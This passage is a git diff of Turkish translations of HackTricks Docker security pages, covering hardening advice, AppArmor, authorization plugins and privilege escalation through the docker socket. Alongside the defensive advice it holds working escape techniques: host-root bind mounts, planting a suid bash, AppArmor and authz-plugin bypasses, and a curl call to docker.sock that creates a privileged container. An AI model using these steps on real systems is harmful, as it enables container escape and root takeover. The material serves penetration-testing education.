yapılandırmasında varsayılan olarak etkinleştirerek: `{ "features": { "buildkit": true } }`, ardından Docker'ı yeniden başlatarak. -BuildKit, `--secret` seçeneği ile yapı zamanı gizli bilgilerin kullanılmasına olanak tanır ve bu gizli bilgilerin imaj oluşturma önbelleğine veya nihai imaja dahil edilmemesini sağlar, şu komut gibi: +BuildKit, `--secret` seçeneği ile yapı zamanı gizli bilgilerin kullanılmasına olanak tanır ve bu gizli bilgilerin imaj oluşturma önbelleğine veya nihai imaja dahil edilmemesini sağlar, şu komutla: ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` @@ -309,32 +309,32 @@ Kubernetes ortamlarında, gizli bilgiler yerel olarak desteklenir ve [Helm-Secre ### gVisor -**gVisor**, Go dilinde yazılmış bir uygulama çekirdeğidir ve Linux sistem yüzeyinin önemli bir kısmını uygular. Uygulama ile ana makine çekirdeği arasında **izolasyon sınırı** sağlayan `runsc` adlı bir [Open Container Initiative (OCI)](https://www.opencontainers.org) çalışma zamanı içerir. `runsc` çalışma zamanı, Docker ve Kubernetes ile entegre olur ve sandboxed konteynerleri çalıştırmayı basit hale getirir. +**gVisor**, Go dilinde yazılmış bir uygulama çekirdeğidir ve Linux sistem yüzeyinin önemli bir kısmını uygular. Uygulama ile ana makine çekirdeği arasında **izolasyon sınırı** sağlayan `runsc` adlı bir [Open Container Initiative (OCI)](https://www.opencontainers.org) çalışma zamanı içerir. `runsc` çalışma zamanı, Docker ve Kubernetes ile entegre olup, kumanda altındaki konteynerleri çalıştırmayı basit hale getirir. {% embed url="https://github.com/google/gvisor" %} ### Kata Containers -**Kata Containers**, hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak topluluğudur. Bu sanal makineler, konteynerler gibi hissettiren ve performans gösteren, ancak **donanım sanallaştırma** teknolojisini ikinci bir savunma katmanı olarak kullanarak **daha güçlü iş yükü izolasyonu** sağlayan bir yapıdır. +**Kata Containers**, hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynaklı bir topluluktur. Bu sanal makineler, konteynerler gibi hissettiren ve performans gösteren, ancak **donanım sanallaştırma** teknolojisini ikinci bir savunma katmanı olarak kullanarak **daha güçlü iş yükü izolasyonu** sağlayan bir yapıdır. {% embed url="https://katacontainers.io/" %} ### Özet İpuçları -- **`--privileged` bayrağını kullanmayın veya** [**Docker soketini konteyner içinde monte etmeyin**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle ana makinenin tam kontrolünü ele geçirmenin kolay bir yoludur; örneğin, `--privileged` bayrağı ile başka bir konteyner çalıştırarak. +- **`--privileged` bayrağını kullanmayın veya** [**Docker soketini konteyner içinde monte etmeyin**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına olanak tanır, bu nedenle ana makinenin tam kontrolünü ele geçirmenin kolay bir yoludur; örneğin, `--privileged` bayrağı ile başka bir konteyner çalıştırarak. - **Konteyner içinde root olarak çalışmayın.** [**Farklı bir kullanıcı kullanın**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)**.** Konteynerdeki root, kullanıcı ad alanları ile yeniden haritalanmadıkça ana makinedeki ile aynıdır. Sadece, esasen, Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanmıştır. - [**Tüm yetenekleri kaldırın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekli olanları etkinleştirin** (`--cap-add=...`). Birçok iş yükü herhangi bir yetenek gerektirmez ve bunları eklemek, potansiyel bir saldırının kapsamını artırır. - [**“no-new-privileges” güvenlik seçeneğini kullanın**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **süreçlerin daha fazla yetki kazanmasını önlemek için, örneğin suid ikili dosyaları aracılığıyla.** - [**Konteynere sunulan kaynakları sınırlayın**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Kaynak sınırları, makineyi hizmet reddi saldırılarından koruyabilir. - **Kısıtlamaları en aza indirmek için** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(veya SELinux)** profillerini ayarlayın. -- **Resmi docker görüntülerini kullanın** [**ve imzaları gerektirin**](https://docs.docker.com/docker-hub/official_images/) **veya bunlara dayanarak kendi görüntülerinizi oluşturun.** [Backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) görüntüleri miras almayın veya kullanmayın. Ayrıca, root anahtarlarını ve şifrelerini güvenli bir yerde saklayın. Docker, anahtarları UCP ile yönetmeyi planlıyor. -- **Düzenli olarak** **görüntülerinizi yeniden oluşturun** **güvenlik yamalarını ana makineye ve görüntülere uygulamak için.** -- **Gizli bilgilerinizi akıllıca yönetin** böylece saldırganların bunlara erişmesi zor olur. +- **Resmi docker imajlarını kullanın** [**ve imzaları gerektirin**](https://docs.docker.com/docker-hub/official_images/) **veya bunlara dayanarak kendi imajınızı oluşturun.** Arka kapılı [**imajları**](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) miras almayın veya kullanmayın. Ayrıca, root anahtarlarını ve şifrelerini güvenli bir yerde saklayın. Docker, anahtarları UCP ile yönetmeyi planlıyor. +- **Düzenli olarak** **imajlarınızı yeniden oluşturun** **güvenlik yamalarını ana makineye ve imajlara uygulamak için.** +- **Gizli bilgilerinizi akıllıca yönetin** böylece saldırganın bunlara erişmesi zor olur. - Eğer **docker daemon'ı açığa çıkarıyorsanız HTTPS kullanın** istemci ve sunucu kimlik doğrulaması ile. -- Dockerfile'ınızda, **ADD yerine COPY'yi tercih edin**. ADD, otomatik olarak sıkıştırılmış dosyaları çıkarır ve URL'lerden dosyaları kopyalayabilir. COPY bu yeteneklere sahip değildir. Mümkün olduğunda, uzaktan URL'ler ve Zip dosyaları aracılığıyla saldırılara maruz kalmamak için ADD kullanmaktan kaçının. +- Dockerfile'ınızda, **ADD yerine COPY'yi tercih edin**. ADD, otomatik olarak sıkıştırılmış dosyaları çıkarır ve URL'lerden dosya kopyalayabilir. COPY bu yeteneklere sahip değildir. Mümkün olduğunda, uzaktan URL'ler ve Zip dosyaları aracılığıyla saldırılara maruz kalmamak için ADD kullanmaktan kaçının. - Her mikro hizmet için **ayrı konteynerler** oluşturun. -- **Konteyner içinde ssh bulundurmayın**, “docker exec” kullanılarak konteynere ssh yapılabilir. -- **Daha küçük** konteyner **görüntüleri** oluşturun. +- **Konteyner içinde ssh** bulundurmayın, "docker exec" kullanılarak konteynere ssh yapılabilir. +- **Daha küçük** konteyner **imajlarına sahip olun.** ## Docker Breakout / Yetki Yükseltme @@ -355,7 +355,7 @@ authz-and-authn-docker-access-authorization-plugin.md ## Docker'ı Güçlendirme - [**docker-bench-security**](https://github.com/docker/docker-bench-security) aracı, üretimde Docker konteynerlerini dağıtma ile ilgili birçok yaygın en iyi uygulamayı kontrol eden bir betiktir. Testler tamamen otomatik olup, [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) temel alınarak yapılmaktadır.\ -Aracı, docker'ı çalıştıran ana makineden veya yeterli yetkiye sahip bir konteynerden çalıştırmalısınız. **README'de nasıl çalıştırılacağını öğrenin:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). +Aracı, docker'ı çalıştıran ana makineden veya yeterli yetkiye sahip bir konteynerden çalıştırmanız gerekir. **README'de nasıl çalıştırılacağını öğrenin:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). ## Referanslar @@ -373,4 +373,5 @@ Aracı, docker'ı çalıştıran ana makineden veya yeterli yetkiye sahip bir ko - [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) - [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index bafa395ee..2a69cd139 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -7,7 +7,7 @@ Bazen sadece **docker soketine erişiminiz** vardır ve bunu **yetki yükseltmek ### Mount Üzerinden Farklı **dosya sistemi** parçalarını kök olarak çalışan bir konteynerde **mount** edebilir ve bunlara **erişebilirsiniz**.\ -Ayrıca konteyner içinde **yetki yükseltmek için bir mount'ı istismar edebilirsiniz**. +Ayrıca konteyner içinde **yetki yükseltmek için bir mount istismar edebilirsiniz**. - **`-v /:/host`** -> Konteynerde ana bilgisayar dosya sistemini mount ederek **ana bilgisayar dosya sistemini okuyabilirsiniz.** - **Ana bilgisayarda olduğunuzu hissetmek** istiyorsanız ama konteynerdeyseniz, şunları kullanarak diğer savunma mekanizmalarını devre dışı bırakabilirsiniz: @@ -20,24 +20,24 @@ Ayrıca konteyner içinde **yetki yükseltmek için bir mount'ı istismar edebil - `--userns=host` - `--uts=host` - `--cgroupns=host` -- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Bu, önceki yönteme benzer, ancak burada **cihaz diskini mount ediyoruz**. Ardından, konteyner içinde `mount /dev/sda1 /mnt` komutunu çalıştırarak **/mnt** içinde **ana bilgisayar dosya sistemine erişebilirsiniz.** +- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Bu, önceki yönteme benzer, ancak burada **cihaz diskini mount ediyoruz**. Daha sonra konteyner içinde `mount /dev/sda1 /mnt` komutunu çalıştırarak **/mnt** içinde **ana bilgisayar dosya sistemine erişebilirsiniz.** - Ana bilgisayarda `fdisk -l` komutunu çalıştırarak mount edilecek `` cihazını bulun. - **`-v /tmp:/host`** -> Eğer bir nedenle sadece ana bilgisayardan **bir dizini mount edebiliyorsanız** ve ana bilgisayarda erişiminiz varsa. Mount edin ve mount edilen dizinde **suid** ile bir **`/bin/bash`** oluşturun, böylece **ana bilgisayardan çalıştırabilir ve root'a yükselebilirsiniz.** > [!NOTE] > Belki `/tmp` klasörünü mount edemeyeceğinizi, ancak **farklı bir yazılabilir klasörü** mount edebileceğinizi unutmayın. Yazılabilir dizinleri bulmak için: `find / -writable -type d 2>/dev/null` kullanabilirsiniz. > -> **Unutmayın ki bir linux makinesindeki tüm dizinler suid bitini desteklemeyecektir!** Hangi dizinlerin suid bitini desteklediğini kontrol etmek için `mount | grep -v "nosuid"` komutunu çalıştırın. Örneğin genellikle `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` ve `/var/lib/lxcfs` suid bitini desteklemez. +> **Bir linux makinesindeki tüm dizinlerin suid bitini desteklemeyeceğini unutmayın!** Hangi dizinlerin suid bitini desteklediğini kontrol etmek için `mount | grep -v "nosuid"` komutunu çalıştırın. Örneğin genellikle `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` ve `/var/lib/lxcfs` suid bitini desteklemez. > -> Ayrıca **`/etc`** veya **konfigürasyon dosyaları içeren** başka bir klasörü **mount edebiliyorsanız**, bunları docker konteynerinden root olarak değiştirip **ana bilgisayarda istismar edebilir** ve yetki yükseltebilirsiniz (belki `/etc/shadow` dosyasını değiştirerek). +> Ayrıca **`/etc`** veya **konfigürasyon dosyalarını içeren** başka bir klasörü **mount edebiliyorsanız**, bunları docker konteynerinden root olarak değiştirip **ana bilgisayarda istismar edebilir** ve yetki yükseltebilirsiniz (belki `/etc/shadow` dosyasını değiştirerek). ### Konteynerden Kaçış -- **`--privileged`** -> Bu bayrak ile [konteynerden tüm izolasyonu kaldırırsınız](docker-privileged.md#what-affects). [Köktan yetkili konteynerlerden kaçış tekniklerini](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape) kontrol edin. -- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [yetki istismarını yükseltmek için](../linux-capabilities.md), **bu yetkiyi konteynere verin** ve istismarın çalışmasını engelleyebilecek diğer koruma yöntemlerini devre dışı bırakın. +- **`--privileged`** -> Bu bayrak ile [konteynerden tüm izolasyonu kaldırırsınız](docker-privileged.md#what-affects). [Root olarak ayrıcalıklı konteynerlerden kaçış tekniklerini](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape) kontrol edin. +- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [yetenekleri istismar ederek yetki yükseltmek](../linux-capabilities.md) için, **bu yeteneği konteynere verin** ve istismarın çalışmasını engelleyebilecek diğer koruma yöntemlerini devre dışı bırakın. ### Curl -Bu sayfada docker bayraklarını kullanarak yetki yükseltme yollarını tartıştık, **curl** komutunu kullanarak bu yöntemleri istismar etmenin yollarını bulabilirsiniz: +Bu sayfada docker bayraklarını kullanarak yetki yükseltme yollarını tartıştık, **curl** komutunu kullanarak bu yöntemleri istismar etmenin **yollarını** sayfada bulabilirsiniz: {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md index 77836ceab..968b68065 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -44,16 +44,16 @@ aa-mergeprof #used to merge the policies - **m** (bellek haritası olarak çalıştırılabilir) - **k** (dosya kilitleme) - **l** (sert bağlantılar oluşturma) -- **ix** (yeni programın politika miras alarak başka bir programı çalıştırması için) -- **Px** (ortamı temizledikten sonra başka bir profil altında çalıştır) -- **Cx** (ortamı temizledikten sonra bir çocuk profil altında çalıştır) -- **Ux** (ortamı temizledikten sonra kısıtlanmamış olarak çalıştır) +- **ix** (yeni programın miras aldığı politika ile başka bir programı çalıştırmak için) +- **Px** (ortamı temizledikten sonra başka bir profil altında çalıştırmak) +- **Cx** (ortamı temizledikten sonra bir çocuk profil altında çalıştırmak) +- **Ux** (ortamı temizledikten sonra kısıtlanmamış olarak çalıştırmak) - **Değişkenler** profillerde tanımlanabilir ve profil dışından manipüle edilebilir. Örneğin: @{PROC} ve @{HOME} (profil dosyasına #include \ ekleyin) -- **İzin kurallarını geçersiz kılmak için reddetme kuralları desteklenmektedir**. +- **İzin verme kurallarını geçersiz kılmak için yasaklama kuralları desteklenmektedir**. ### aa-genprof -Profil oluşturmaya başlamak için apparmor size yardımcı olabilir. **Apparmor'un bir ikili dosya tarafından gerçekleştirilen eylemleri incelemesi ve ardından hangi eylemleri izin vermek veya reddetmek istediğinize karar vermenize olanak tanıması mümkündür**.\ +Profil oluşturmaya başlamak için apparmor size yardımcı olabilir. **Apparmor'un bir ikili dosya tarafından gerçekleştirilen eylemleri incelemesi ve ardından hangi eylemleri izin vermek veya yasaklamak istediğinize karar vermenize olanak tanıması mümkündür**.\ Sadece şunu çalıştırmanız yeterlidir: ```bash sudo aa-genprof /path/to/binary @@ -69,7 +69,7 @@ Sonra, ilk konsolda "**s**" tuşuna basın ve ardından kaydedilen eylemlerde ne ### aa-easyprof -Bir ikili dosyanın apparmor profilinin bir şablonunu da oluşturabilirsiniz: +Ayrıca, bir ikili dosyanın apparmor profilinin bir şablonunu oluşturabilirsiniz: ```bash sudo aa-easyprof /path/to/binary # vim:syntax=apparmor @@ -103,7 +103,7 @@ sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` ### Loglardan bir profili değiştirme -Aşağıdaki araç, logları okuyacak ve kullanıcıya tespit edilen yasaklı eylemlerden bazılarını izin verip vermek istemediğini soracaktır: +Aşağıdaki araç, logları okuyacak ve kullanıcıdan tespit edilen bazı yasaklı eylemleri izin verip vermek istemediğini soracaktır: ```bash sudo aa-logprof ``` @@ -161,15 +161,15 @@ apparmor module is loaded. /usr/lib/connman/scripts/dhclient-script docker-default ``` -Varsayılan olarak **Apparmor docker-default profili** [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) adresinden oluşturulmaktadır. +Varsayılan olarak **Apparmor docker-default profili** [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) adresinden oluşturulur. **docker-default profili Özeti**: - Tüm **ağ** erişimi - **Hiçbir yetenek** tanımlanmamıştır (Ancak, bazı yetenekler temel temel kuralları dahil etmekten gelecektir, yani #include \) - Herhangi bir **/proc** dosyasına **yazma** **izin verilmez** -- Diğer **alt dizinler**/**dosyalar** için /**proc** ve /**sys** **okuma/yazma/kilit/link/çalıştırma** erişimi **reddedilir** -- **Mount** **izin verilmez** +- Diğer **alt dizinler**/**dosyalar** için /**proc** ve /**sys** okuma/yazma/kilit/bağlantı/çalıştırma erişimi **reddedilir** +- **Bağlama** **izin verilmez** - **Ptrace** yalnızca **aynı apparmor profili** tarafından kısıtlanmış bir süreçte çalıştırılabilir Bir **docker konteyneri çalıştırdığınızda** aşağıdaki çıktıyı görmelisiniz: @@ -177,7 +177,7 @@ Bir **docker konteyneri çalıştırdığınızda** aşağıdaki çıktıyı gö 1 processes are in enforce mode. docker-default (825) ``` -Not edin ki **apparmor, varsayılan olarak konteynere verilen yetenek ayrıcalıklarını bile engelleyecektir**. Örneğin, **SYS_ADMIN yeteneği verilse bile /proc içinde yazma iznini engelleyebilecektir** çünkü varsayılan olarak docker apparmor profili bu erişimi reddeder: +Not edin ki **apparmor varsayılan olarak konteynere verilen yetenek ayrıcalıklarını bile engelleyecektir**. Örneğin, **SYS_ADMIN yeteneği verilse bile /proc içinde yazma iznini engelleyebilecektir** çünkü varsayılan olarak docker apparmor profili bu erişimi reddeder: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash echo "" > /proc/stat @@ -196,7 +196,7 @@ Not edin ki docker konteynerine **yetkiler** **ekleyebilir/çıkarabilirsiniz** - `--cap-drop=ALL --cap-add=SYS_PTRACE` tüm yetkileri kaldır ve sadece `SYS_PTRACE` ver > [!NOTE] -> Genellikle, bir **docker** konteynerinin **içinde** **yetkili bir yetki** bulduğunuzda **ama** **sömürü** kısmının **çalışmadığını** **bulursanız**, bu, docker'ın **apparmor'unun bunu engelliyor olmasından** kaynaklanacaktır. +> Genellikle, bir **docker** konteynerinin içinde **yetkili bir yetki** bulduğunuzda **ama** **sömürü** kısmının **çalışmadığını** **bulursanız**, bu, docker'ın **apparmor'unun bunu engelliyor olmasından** kaynaklanacaktır. ### Örnek @@ -210,7 +210,7 @@ Profili etkinleştirmek için aşağıdakileri yapmamız gerekiyor: ``` sudo apparmor_parser -r -W mydocker ``` -Profilleri listelemek için aşağıdaki komutu kullanabiliriz. Aşağıdaki komut, yeni AppArmor profilimi listelemektedir. +Profilleri listelemek için aşağıdaki komutu kullanabiliriz. Aşağıdaki komut, benim yeni AppArmor profilimi listelemektedir. ``` $ sudo apparmor_status | grep mydocker mydocker @@ -222,7 +222,7 @@ chmod: /etc/hostname: Permission denied ``` ### AppArmor Docker Bypass1 -Bir **apparmor profilinin hangi konteyneri çalıştırdığını** bulmak için: +Bir konteynerin hangi **apparmor profilinin çalıştığını** bulmak için: ```bash docker inspect 9d622d73a614 | grep lowpriv "AppArmorProfile": "lowpriv", @@ -236,11 +236,11 @@ Garip bir durumda **apparmor docker profilini değiştirebilir ve yeniden yükle ### AppArmor Docker Bypass2 -**AppArmor yol tabanlıdır**, bu, bir dizin içindeki dosyaları **koruyor** olsa bile **`/proc`** gibi, eğer **konteynerin nasıl çalıştırılacağını yapılandırabiliyorsanız**, ana bilgisayarın proc dizinini **`/host/proc`** içine **mount** edebilir ve artık **AppArmor tarafından korunmayacaktır**. +**AppArmor yol tabanlıdır**, bu, bir dizin içindeki dosyaları **koruyor** olsa bile, eğer **konteynerin nasıl çalıştırılacağını yapılandırabiliyorsanız**, ana bilgisayarın proc dizinini **`/host/proc`** içine **mount** edebilir ve artık **AppArmor tarafından korunmayacaktır**. ### AppArmor Shebang Bypass -[**bu hata**](https://bugs.launchpad.net/apparmor/+bug/1911431) ile **belirli kaynaklarla perl'in çalıştırılmasını engelliyorsanız bile**, eğer sadece ilk satırda **`#!/usr/bin/perl`** belirten bir shell script oluşturursanız ve dosyayı doğrudan **çalıştırırsanız**, istediğiniz her şeyi çalıştırabileceksiniz. Örnek: +[**bu hata**](https://bugs.launchpad.net/apparmor/+bug/1911431) ile **belirli kaynaklarla perl'in çalıştırılmasını engelliyorsanız**, eğer sadece ilk satırda **`#!/usr/bin/perl`** belirten bir shell script oluşturursanız ve dosyayı doğrudan **çalıştırırsanız**, istediğiniz her şeyi çalıştırabileceksiniz. Örnek: ```perl echo '#!/usr/bin/perl use POSIX qw(strftime); diff --git a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md index 251f16198..0dc02b31e 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md +++ b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md @@ -1,14 +1,14 @@ {{#include ../../../banners/hacktricks-training.md}} -**Docker’ın** kutudan çıktığı gibi **yetkilendirme** modeli **ya hepsi ya hiçbiri** şeklindedir. Docker daemon'a erişim izni olan herhangi bir kullanıcı, **herhangi bir** Docker istemci **komutunu** **çalıştırabilir**. Bu, daemon ile iletişim kurmak için Docker’ın Engine API'sini kullanan çağrılar için de geçerlidir. Eğer **daha fazla erişim kontrolü** gerekiyorsa, **yetkilendirme eklentileri** oluşturabilir ve bunları Docker daemon yapılandırmanıza ekleyebilirsiniz. Bir yetkilendirme eklentisi kullanarak, bir Docker yöneticisi Docker daemon'a erişimi yönetmek için **ayrıntılı erişim** politikaları **yapılandırabilir**. +**Docker’ın** kutudan çıktığı gibi **yetkilendirme** modeli **ya hepsi ya hiç** şeklindedir. Docker daemon'a erişim izni olan herhangi bir kullanıcı, **herhangi bir** Docker istemci **komutunu** **çalıştırabilir**. Bu, daemon ile iletişim kurmak için Docker’ın Engine API'sini kullanan çağrılar için de geçerlidir. Eğer **daha fazla erişim kontrolü** gerekiyorsa, **yetkilendirme eklentileri** oluşturabilir ve bunları Docker daemon yapılandırmanıza ekleyebilirsiniz. Bir yetkilendirme eklentisi kullanarak, bir Docker yöneticisi Docker daemon'a erişimi yönetmek için **ayrıntılı erişim** politikaları **yapılandırabilir**. # Temel mimari -Docker Auth eklentileri, Docker Daemon'a **istek** yapılan **hareketleri** **izin verme/red etme** amacıyla kullanabileceğiniz **harici** **eklenti**lerdir; bu, isteği yapan **kullanıcıya** ve **istenen** **harekete** bağlıdır. +Docker Auth eklentileri, Docker Daemon'a **isteklerde bulunan** **kullanıcıya** ve **istenen** **işleme** bağlı olarak **hareketleri** **izin verme/red etme** amacıyla kullanabileceğiniz **harici** **eklenti**lerdir. **[Aşağıdaki bilgi belgelerden alınmıştır](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)** -Bir **HTTP** **isteği**, CLI üzerinden veya Engine API aracılığıyla Docker **daemon**'ına yapıldığında, **kimlik doğrulama** **alt sistemi** isteği kurulu **kimlik doğrulama** **eklenti**(ler)ine **gönderir**. İstek, kullanıcı (çağrıcı) ve komut bağlamını içerir. **Eklenti**, isteği **izin verme** veya **red etme** kararını vermekten sorumludur. +Bir **HTTP** **isteği**, CLI aracılığıyla veya Engine API'si üzerinden Docker **daemon**'una yapıldığında, **kimlik doğrulama** **alt sistemi** isteği yüklü **kimlik doğrulama** **eklenti**(ler)ine **gönderir**. İstek, kullanıcı (çağrıcı) ve komut bağlamını içerir. **Eklenti**, isteği **izin verme** veya **red etme** kararı vermekten sorumludur. Aşağıdaki sıralama diyagramları, izin verme ve red etme yetkilendirme akışını göstermektedir: @@ -18,19 +18,19 @@ Aşağıdaki sıralama diyagramları, izin verme ve red etme yetkilendirme akı Eklentiye gönderilen her istek, **kimlik doğrulaması yapılmış kullanıcıyı, HTTP başlıklarını ve istek/yanıt gövdesini** içerir. Sadece **kullanıcı adı** ve kullanılan **kimlik doğrulama yöntemi** eklentiye iletilir. En önemlisi, **hiçbir** kullanıcı **kimlik bilgisi** veya token iletilmez. Son olarak, **tüm istek/yanıt gövdeleri** yetkilendirme eklentisine gönderilmez. Sadece `Content-Type`'ı `text/*` veya `application/json` olan istek/yanıt gövdeleri gönderilir. -HTTP bağlantısını potansiyel olarak ele geçirebilecek komutlar (`HTTP Upgrade`), örneğin `exec`, için yetkilendirme eklentisi yalnızca ilk HTTP istekleri için çağrılır. Eklenti komutu onayladıktan sonra, yetkilendirme akışın geri kalanına uygulanmaz. Özellikle, akış verileri yetkilendirme eklentilerine iletilmez. `logs` ve `events` gibi parça parça HTTP yanıtı döndüren komutlar için yalnızca HTTP isteği yetkilendirme eklentilerine gönderilir. +HTTP bağlantısını potansiyel olarak ele geçirebilecek komutlar (`HTTP Upgrade`), örneğin `exec`, için yetkilendirme eklentisi yalnızca ilk HTTP istekleri için çağrılır. Eklenti komutu onayladıktan sonra, yetkilendirme akışın geri kalanına uygulanmaz. Özellikle, akış verileri yetkilendirme eklentilerine iletilmez. Parçalı HTTP yanıtı döndüren komutlar, örneğin `logs` ve `events`, için yalnızca HTTP isteği yetkilendirme eklentilerine gönderilir. -İstek/yanıt işleme sırasında, bazı yetkilendirme akışlarının Docker daemon'a ek sorgular yapması gerekebilir. Bu tür akışları tamamlamak için, eklentiler, normal bir kullanıcı gibi daemon API'sini çağırabilir. Bu ek sorguları etkinleştirmek için, eklentinin bir yöneticinin uygun kimlik doğrulama ve güvenlik politikalarını yapılandırması için gerekli araçları sağlaması gerekir. +İstek/yanıt işleme sırasında, bazı yetkilendirme akışları Docker daemon'a ek sorgular yapmayı gerektirebilir. Bu tür akışları tamamlamak için, eklentiler, normal bir kullanıcı gibi daemon API'sini çağırabilir. Bu ek sorguları etkinleştirmek için, eklentinin bir yöneticinin uygun kimlik doğrulama ve güvenlik politikalarını yapılandırması için gerekli araçları sağlaması gerekir. ## Birkaç Eklenti -**Eklentinizi** Docker daemon **başlatma** sürecinin bir parçası olarak **kaydetmekten** siz sorumlusunuz. **Birden fazla eklenti yükleyebilir ve bunları bir araya getirebilirsiniz**. Bu zincir sıralı olabilir. Daemon'a yapılan her istek, sırayla zincirden geçer. **Tüm eklentiler kaynağa erişim izni verdiğinde**, erişim izni verilir. +**Eklentinizi** Docker daemon **başlangıcı** sırasında **kaydetmekten** siz sorumlusunuz. **Birden fazla eklenti yükleyebilir ve bunları bir araya getirebilirsiniz**. Bu zincir sıralı olabilir. Daemon'a yapılan her istek, zincir boyunca sırayla geçer. **Tüm eklentiler kaynağa erişim izni verdiğinde**, erişim izni verilir. # Eklenti Örnekleri ## Twistlock AuthZ Broker -Eklenti [**authz**](https://github.com/twistlock/authz), **istekleri yetkilendirmek için** eklentinin **okuyacağı** basit bir **JSON** dosyası oluşturmanıza olanak tanır. Bu nedenle, her bir kullanıcının hangi API uç noktalarına erişebileceğini çok kolay bir şekilde kontrol etme fırsatı sunar. +Eklenti [**authz**](https://github.com/twistlock/authz), **istekleri yetkilendirmek için** **okuyacağı** basit bir **JSON** dosyası oluşturmanıza olanak tanır. Bu nedenle, her API uç noktasının hangi kullanıcılar tarafından erişilebileceğini çok kolay bir şekilde kontrol etme fırsatı sunar. Bu, Alice ve Bob'un yeni konteynerler oluşturmasına izin verecek bir örnektir: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` @@ -122,7 +122,7 @@ docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it ### HostConfig'deki Binds -**Kökteki Binds** ile aynı talimatları izleyerek bu **isteği** Docker API'sine gerçekleştirin: +**Kökteki Binds** ile aynı talimatları izleyerek bu **isteği** Docker API'sine yapın: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create ``` @@ -167,9 +167,9 @@ docker plugin disable authobot docker run --rm -it --privileged -v /:/host ubuntu bash docker plugin enable authobot ``` -Eskalasyondan sonra **plugin'i yeniden etkinleştirmeyi unutmayın**, aksi takdirde **docker servisi yeniden başlatılamayacaktır**! +Eskalasyondan sonra **eklentiyi yeniden etkinleştirmeyi unutmayın**, aksi takdirde **docker hizmetinin yeniden başlatılması işe yaramayacaktır**! -## Auth Plugin Bypass yazıları +## Auth Eklenti Atlatma yazıları - [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/) diff --git a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md index beafea761..c31e248d7 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md +++ b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md @@ -4,15 +4,13 @@ ## Temel Bilgiler -**Linux Kontrol Grupları**, veya **cgroups**, sistem kaynaklarının (CPU, bellek ve disk I/O gibi) süreç grupları arasında 